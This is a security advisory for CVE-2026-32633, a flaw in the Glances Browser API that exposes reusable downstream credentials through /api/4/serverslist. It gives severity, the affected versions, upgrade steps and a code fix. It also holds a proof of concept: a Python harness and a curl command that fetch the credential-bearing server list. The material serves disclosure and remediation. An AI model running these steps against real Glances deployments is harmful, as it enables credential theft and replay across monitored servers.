CVE-2026-32633: Glances Glances's Browser API Exposes Reusable Vulnerability

CRITICAL
Advisory Identifier: GHSA-r297-p3v4-wp8m
CVSS 9.1
CWE-522 CWE-200
Published
Advisory Summary

CVE-2026-32633 is a CRITICAL (CVSS 9.1) glances's browser api exposes reusable vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Glances libraries in the PyPI ecosystem. The issue involves glances's browser api exposes reusable downstream credentials via `/api/4/serverslist`. Remediation is available by upgrading affected packages to version 4.5.2.

CVE-2026-32633 at a Glance

CVE Identifier CVE-2026-32633
GHSA Identifier GHSA-r297-p3v4-wp8m
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Glances
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-32633

To remediate this vulnerability, upgrade all affected Glances dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Glances fixed: 4.5.2
pip install Glances>=4.5.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show Glances

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-32633, inspect your installed packages using pip:

pip show Glances

Analyze the terminal output to locate any version of Glances in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.2), your application is affected.

Note: The pip show Glances command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Glances, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary In Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret. If the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance. ## Details The Browser API route simply returns the raw servers list: ```python # glances/outputs/glances_restful_api.py:799-805 def _api_servers_list(self): self.__update_servers_list() return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else []) ``` The main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all: ```python # glances/outputs/glances_restful_api.py:475-480 if self.args.password: router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.url_prefix) ``` The Glances web server binds to `0.0.0.0` by default: ```python # glances/main.py:425-427 parser.add_argument( '--bind', default='0.0.0.0', dest='bind_address', ) ``` During Central Browser polling, server entries are modified in-place and gain a `uri` field: ```python # glances/servers_list.py:141-148 def __update_stats(self, server): server['uri'] = self.get_uri(server) ... if server['protocol'].lower() == 'rpc': self.__update_stats_rpc(server['uri'], server) elif server['protocol'].lower() == 'rest' and not import_requests_error_tag: self.__update_stats_rest(f"{server['uri']}/api/{__apiversion__}", server) ``` For protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI: ```python # glances/servers_list.py:119-130 def get_uri(self, server): if server['password'] != "": if server['status'] == 'PROTECTED': clear_password = self.password.get_password(server['name']) if clear_password is not None: server['password'] = self.password.get_hash(clear_password) uri = 'http://{}:{}@{}:{}'.format( server['username'], server['password'], server['name'], server['port'], ) else: uri = 'http://{}:{}'.format(server['name'], server['port']) return uri ``` Password lookup falls back to a global default: ```python # glances/password_list.py:55-58 try: return self._password_dict[host] except (KeyError, TypeError): return self._password_dict['default'] ``` The sample configuration explicitly supports browser-wide default password reuse: ```ini # conf/glances.conf:656-663 [passwords] # localhost=abc # default=defaultpassword ``` The secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication: ```python # glances/password.py:72-74,94 # For Glances client, get the password (confirm=False, clear=True): # 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit password = password_hash ``` ```python # glances/client.py:56-57 if args.password != "": self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}' ``` The Browser WebUI also consumes that raw `uri` directly and redirects the user to it: ```javascript // glances/outputs/static/js/Browser.vue:83-103 fetch("api/4/serverslist", { method: "GET" }) ... window.location.href = server.uri; ``` So once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript. ## PoC ### Step 1: Verified local live proof that server objects contain credential-bearing URIs The following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials. ```bash cd D:\bugcrowd\glances\repo @' import importlib.util import json import sys import threading import types from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path from defusedxml import xmlrpc as defused_xmlrpc pkg = types.ModuleType('glances') pkg.__apiversion__ = '4' sys.modules['glances'] = pkg client_mod = types.ModuleType('glances.client') class GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport): def set_timeout(self, timeout): self.timeout = timeout client_mod.GlancesClientTransport = GlancesClientTransport sys.modules['glances.client'] = client_mod globals_mod = types.ModuleType('glances.globals') globals_mod.json_loads = json.loads sys.modules['glances.globals'] = globals_mod logger_mod = types.ModuleType('glances.logger') logger_mod.logger = types.SimpleNamespace( debug=lambda *a, **k: None, warning=lambda *a, **k: None, info=lambda *a, **k: None, error=lambda *a, **k: None, ) sys.modules['glances.logger'] = logger_mod password_list_mod = types.ModuleType('glances.password_list') class GlancesPasswordList: pass password_list_mod.GlancesPasswordList = GlancesPasswordList sys.modules['glances.password_list'] = password_list_mod dynamic_mod = types.ModuleType('glances.servers_list_dynamic') class GlancesAutoDiscoverServer: pass dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer sys.modules['glances.servers_list_dynamic'] = dynamic_mod static_mod = types.ModuleType('glances.servers_list_static') class GlancesStaticServer: pass static_mod.GlancesStaticServer = GlancesStaticServer sys.modules['glances.servers_list_static'] = static_mod spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py')) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) GlancesServersList = mod.GlancesServersList class Handler(BaseHTTPRequestHandler): def do_POST(self): _ = self.rfile.read(int(self.headers.get('Content-Length', '0'))) self.send_response(401) self.end_headers() def log_message(self, *args): pass httpd = HTTPServer(('127.0.0.1', 0), Handler) port = httpd.server_address[1] thread = threading.Thread(target=httpd.serve_forever, daemon=True) thread.start() class FakePassword: def get_password(self, host=None): return 'defaultpassword' def get_hash(self, password): return f'hash({password})' sl = GlancesServersList.__new__(GlancesServersList) sl.password = FakePassword() sl._columns = [{'plugin': 'system', 'field': 'hr_name'}] server = { 'key': f'target:{port}', 'name': '127.0.0.1', 'ip': '203.0.113.77', 'port': port, 'protocol': 'rpc', 'username': 'glances', 'password': '', 'status': 'UNKNOWN', 'type': 'STATIC', } sl.get_servers_list = lambda: [server] sl._GlancesServersList__update_stats(server) sl._GlancesServersList__update_stats(server) httpd.shutdown() thread.join(timeout=2) print(json.dumps(sl.get_servers_list(), indent=2)) '@ | python - ``` Verified output: ```json [ { "key": "target:57390", "name": "127.0.0.1", "ip": "203.0.113.77", "port": 57390, "protocol": "rpc", "username": "glances", "password": null, "status": "PROTECTED", "type": "STATIC", "uri": "http://glances:hash(defaultpassword)@127.0.0.1:57390", "columns": [ "system_hr_name" ] } ] ``` This is the same raw object shape that `/api/4/serverslist` returns. ### Step 2: Remote reproduction on a live Browser instance 1. Configure Glances Browser mode with a saved default password for downstream servers: ```ini [passwords] default=SuperSecretBrowserPassword ``` 2. Start the Browser/API instance without front-end authentication: ```bash glances --browser -w -C ./glances.conf ``` 3. Ensure at least one protected downstream server is polled and marked `PROTECTED`. 4. From any machine that can reach the Glances Browser API, fetch the raw server list: ```bash curl -s http://TARGET:61208/api/4/serverslist ``` 5. Observe entries like: ```json { "name": "internal-glances.example", "status": "PROTECTED", "uri": "http://glances:<pbkdf2_hash>@internal-glances.example:61209" } ``` ## Impact - **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`. - **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password. - **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet. - **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin. ## Recommended Fix Do not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth. ```python # glances/outputs/glances_restful_api.py def _sanitize_server(self, server): safe = dict(server) safe.pop('password', None) safe.pop('uri', None) return safe def _api_servers_list(self): self.__update_servers_list() servers = self.servers_list.get_servers_list() if self.servers_list else [] return GlancesJSONResponse([self._sanitize_server(server) for server in servers]) ``` And in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`.

CVE-2026-32633 Affected Glances Versions

1 component(s)
Fixed Versions:
4.5.2
Product / Package Ecosystem Affected Versions Fixed Version
Glances
PyPI
< 4.5.2
4.5.2

References

Frequently Asked Questions

What is CVE-2026-32633?
CVE-2026-32633 is a security vulnerability in Glances involving Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist` under CWE-522: Insufficiently Protected Credentials.
Which Glances versions are affected?
Affected versions include releases prior to 4.5.2 across affected packages: Glances.
What version fixes CVE-2026-32633?
Upgrading to 4.5.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is Glances affected?
Yes, Glances is affected in releases prior to 4.5.2. Upgrade your dependency to 4.5.2 or later.
What is the CVSS score of CVE-2026-32633?
CVE-2026-32633 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-32633?
CVE-2026-32633 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check PyPI dependencies for CVE-2026-32633?
Run the dependency tree command: 'pip show Glances'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r297-p3v4-wp8m",
  "modified" : "2026-03-18T21:48:47Z",
  "published" : "2026-03-16T16:35:01Z",
  "aliases" : [ "CVE-2026-32633" ],
  "summary" : "Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`",
  "details" : "## Summary\n\nIn Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.\n\nIf the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.\n\n## Details\n\nThe Browser API route simply returns the raw servers list:\n\n```python\n# glances/outputs/glances_restful_api.py:799-805\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])\n```\n\nThe main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all:\n\n```python\n# glances/outputs/glances_restful_api.py:475-480\nif self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)\n```\n\nThe Glances web server binds to `0.0.0.0` by default:\n\n```python\n# glances/main.py:425-427\nparser.add_argument(\n    '--bind',\n    default='0.0.0.0',\n    dest='bind_address',\n)\n```\n\nDuring Central Browser polling, server entries are modified in-place and gain a `uri` field:\n\n```python\n# glances/servers_list.py:141-148\ndef __update_stats(self, server):\n    server['uri'] = self.get_uri(server)\n    ...\n    if server['protocol'].lower() == 'rpc':\n        self.__update_stats_rpc(server['uri'], server)\n    elif server['protocol'].lower() == 'rest' and not import_requests_error_tag:\n        self.__update_stats_rest(f\"{server['uri']}/api/{__apiversion__}\", server)\n```\n\nFor protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI:\n\n```python\n# glances/servers_list.py:119-130\ndef get_uri(self, server):\n    if server['password'] != \"\":\n        if server['status'] == 'PROTECTED':\n            clear_password = self.password.get_password(server['name'])\n            if clear_password is not None:\n                server['password'] = self.password.get_hash(clear_password)\n        uri = 'http://{}:{}@{}:{}'.format(\n            server['username'],\n            server['password'],\n            server['name'],\n            server['port'],\n        )\n    else:\n        uri = 'http://{}:{}'.format(server['name'], server['port'])\n    return uri\n```\n\nPassword lookup falls back to a global default:\n\n```python\n# glances/password_list.py:55-58\ntry:\n    return self._password_dict[host]\nexcept (KeyError, TypeError):\n    return self._password_dict['default']\n```\n\nThe sample configuration explicitly supports browser-wide default password reuse:\n\n```ini\n# conf/glances.conf:656-663\n[passwords]\n# localhost=abc\n# default=defaultpassword\n```\n\nThe secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n# For Glances client, get the password (confirm=False, clear=True):\n#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n```\n\n```python\n# glances/client.py:56-57\nif args.password != \"\":\n    self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'\n```\n\nThe Browser WebUI also consumes that raw `uri` directly and redirects the user to it:\n\n```javascript\n// glances/outputs/static/js/Browser.vue:83-103\nfetch(\"api/4/serverslist\", { method: \"GET\" })\n...\nwindow.location.href = server.uri;\n```\n\nSo once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.\n\n## PoC\n\n### Step 1: Verified local live proof that server objects contain credential-bearing URIs\n\nThe following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials.\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@'\nimport importlib.util\nimport json\nimport sys\nimport threading\nimport types\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom defusedxml import xmlrpc as defused_xmlrpc\n\npkg = types.ModuleType('glances')\npkg.__apiversion__ = '4'\nsys.modules['glances'] = pkg\n\nclient_mod = types.ModuleType('glances.client')\nclass GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):\n    def set_timeout(self, timeout):\n        self.timeout = timeout\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules['glances.client'] = client_mod\n\nglobals_mod = types.ModuleType('glances.globals')\nglobals_mod.json_loads = json.loads\nsys.modules['glances.globals'] = globals_mod\n\nlogger_mod = types.ModuleType('glances.logger')\nlogger_mod.logger = types.SimpleNamespace(\n    debug=lambda *a, **k: None,\n    warning=lambda *a, **k: None,\n    info=lambda *a, **k: None,\n    error=lambda *a, **k: None,\n)\nsys.modules['glances.logger'] = logger_mod\n\npassword_list_mod = types.ModuleType('glances.password_list')\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules['glances.password_list'] = password_list_mod\n\ndynamic_mod = types.ModuleType('glances.servers_list_dynamic')\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules['glances.servers_list_dynamic'] = dynamic_mod\n\nstatic_mod = types.ModuleType('glances.servers_list_static')\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules['glances.servers_list_static'] = static_mod\n\nspec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        _ = self.rfile.read(int(self.headers.get('Content-Length', '0')))\n        self.send_response(401)\n        self.end_headers()\n    def log_message(self, *args):\n        pass\n\nhttpd = HTTPServer(('127.0.0.1', 0), Handler)\nport = httpd.server_address[1]\nthread = threading.Thread(target=httpd.serve_forever, daemon=True)\nthread.start()\n\nclass FakePassword:\n    def get_password(self, host=None):\n        return 'defaultpassword'\n    def get_hash(self, password):\n        return f'hash({password})'\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nsl._columns = [{'plugin': 'system', 'field': 'hr_name'}]\nserver = {\n    'key': f'target:{port}',\n    'name': '127.0.0.1',\n    'ip': '203.0.113.77',\n    'port': port,\n    'protocol': 'rpc',\n    'username': 'glances',\n    'password': '',\n    'status': 'UNKNOWN',\n    'type': 'STATIC',\n}\nsl.get_servers_list = lambda: [server]\n\nsl._GlancesServersList__update_stats(server)\nsl._GlancesServersList__update_stats(server)\nhttpd.shutdown()\nthread.join(timeout=2)\nprint(json.dumps(sl.get_servers_list(), indent=2))\n'@ | python -\n```\n\nVerified output:\n\n```json\n[\n  {\n    \"key\": \"target:57390\",\n    \"name\": \"127.0.0.1\",\n    \"ip\": \"203.0.113.77\",\n    \"port\": 57390,\n    \"protocol\": \"rpc\",\n    \"username\": \"glances\",\n    \"password\": null,\n    \"status\": \"PROTECTED\",\n    \"type\": \"STATIC\",\n    \"uri\": \"http://glances:hash(defaultpassword)@127.0.0.1:57390\",\n    \"columns\": [\n      \"system_hr_name\"\n    ]\n  }\n]\n```\n\nThis is the same raw object shape that `/api/4/serverslist` returns.\n\n### Step 2: Remote reproduction on a live Browser instance\n\n1. Configure Glances Browser mode with a saved default password for downstream servers:\n\n```ini\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start the Browser/API instance without front-end authentication:\n\n```bash\nglances --browser -w -C ./glances.conf\n```\n\n3. Ensure at least one protected downstream server is polled and marked `PROTECTED`.\n\n4. From any machine that can reach the Glances Browser API, fetch the raw server list:\n\n```bash\ncurl -s http://TARGET:61208/api/4/serverslist\n```\n\n5. Observe entries like:\n\n```json\n{\n  \"name\": \"internal-glances.example\",\n  \"status\": \"PROTECTED\",\n  \"uri\": \"http://glances:<pbkdf2_hash>@internal-glances.example:61209\"\n}\n```\n\n## Impact\n\n- **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`.\n- **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.\n- **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet.\n- **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin.\n\n## Recommended Fix\n\nDo not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth.\n\n```python\n# glances/outputs/glances_restful_api.py\n\ndef _sanitize_server(self, server):\n    safe = dict(server)\n    safe.pop('password', None)\n    safe.pop('uri', None)\n    return safe\n\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    servers = self.servers_list.get_servers_list() if self.servers_list else []\n    return GlancesJSONResponse([self._sanitize_server(server) for server in servers])\n```\n\nAnd in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "Glances"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.5.2-dev01"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/security/advisories/GHSA-r297-p3v4-wp8m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32633"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/commit/879ef8688ffa1630839549751d3c7ef9961d361e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nicolargo/glances"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-522" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T16:35:01Z",
    "nvd_published_at" : "2026-03-18T18:16:28Z"
  }
}